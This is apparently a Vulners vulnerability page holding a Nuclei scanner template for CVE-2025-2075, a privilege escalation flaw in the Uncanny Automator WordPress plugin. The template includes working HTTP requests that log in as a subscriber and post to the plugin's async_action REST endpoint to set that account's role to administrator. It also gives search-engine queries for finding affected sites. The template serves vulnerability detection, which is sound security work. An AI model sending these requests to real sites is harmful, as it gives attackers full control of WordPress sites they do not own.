| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| CVE-2025-2075 | 4 Apr 202504:35 | – | circl | |
| WordPress plugin Uncanny Automator 安全漏洞 | 4 Apr 202500:00 | – | cnnvd | |
| CVE-2025-2075 | 4 Apr 202504:21 | – | cve | |
| CVE-2025-2075 Uncanny Automator <= 6.3.0.2 - Missing Authorization to Authenticated (Subscriber+) Privilege Escalation | 4 Apr 202504:21 | – | cvelist | |
| EUVD-2025-9708 | 4 Apr 202504:21 | – | euvd | |
| CVE-2025-2075 | 4 Apr 202505:15 | – | nvd | |
| CVE-2025-2075 | 4 Apr 202505:15 | – | osv | |
| WordPress Uncanny Automator plugin <= 6.3.0.2 - Missing Authorization to Privilege Escalation vulnerability | 3 Apr 202518:16 | – | patchstack | |
| PT-2025-14835 · WordPress · Uncanny Automator | 4 Apr 202500:00 | – | ptsecurity | |
| CVE-2025-2075 | 6 Apr 202504:27 | – | redhatcve |
id: CVE-2025-2075
info:
name: Uncanny Automator <= 6.3.0.2 - Missing Authorization to Authenticated (Subscriber+) Privilege Escalation
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
The Uncanny Automator - Easy Automation, Integration, Webhooks & Workflow Builder Plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 6.3.0.2. This is due to add_role() and user_role() functions missing proper capability checks performed through the validate_rest_call() function. This makes it possible for unauthenticated attackers to set the role of arbitrary users to administrator granting full access to the site, though privilege escalation requires an active account on the site so this is considered an authenticated privilege escalation.
impact: |
Authenticated attackers with subscriber-level access can escalate their privileges to administrator through missing capability checks, gaining full control over the WordPress site.
remediation: |
Update to version 6.4.0 or later to remediate this vulnerability.
reference:
- https://www.wordfence.com/blog/2025/04/50000-wordpress-sites-affected-by-privilege-escalation-vulnerability-in-uncanny-automator-wordpress-plugin/
- https://plugins.trac.wordpress.org/changeset/3257300/uncanny-automator/trunk/src/core/classes/class-background-actions.php
- https://plugins.trac.wordpress.org/changeset/3265280/uncanny-automator/trunk/src/core/classes/class-background-actions.php
- https://nvd.nist.gov/vuln/detail/CVE-2025-2075
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2025-2075
cwe-id: CWE-862
epss-score: 0.02245
epss-percentile: 0.80733
metadata:
verified: true
max-request: 4
publicwww-query: "/wp-content/plugins/uncanny-automator/"
fofa-query: body="/wp-content/plugins/uncanny-automator/"
tags: cve,cve2025,wordpress,wp-plugin,authenticated,wp,uncanny-automator,vuln,vkev
variables:
username: "{{username}}"
password: "{{password}}"
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}
matchers-condition: and
matchers:
- type: word
part: header
words:
- '/wp-admin'
- 'wordpress_logged_in'
condition: and
- type: status
status:
- 302
- raw:
- |
GET /wp-admin/profile.php HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
part: body
internal: true
name: user_id
group: 1
regex:
- 'var userSettings.*"uid":"([0-9]+)"'
- raw:
- |
POST /wp-json/uap/v2/async_action/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
user_id={{user_id}}&action_data%5Bmeta%5D%5Bintegration%5D=aa&action_data%5Bmeta%5D%5Bcode%5D=USERROLE&action_data%5Bmeta%5D%5BWPROLE%5D=administrator&recipe_id=&args=&action_data%5BID%5D=
matchers:
- type: status
status:
- 200
- raw:
- |
GET /wp-admin/users.php?role=administrator HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- 'Howdy,'
- '>Select {{username}}<'
condition: and
# digest: 490a00463044022079ec1b228299299b3988d09dd0572bf3e41b5c9936a2b694ec20fa3f1d6878c80220162352549697eff84abf8421b2da9b84a44a15add42cbe98e2eb855ab27abc3a:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation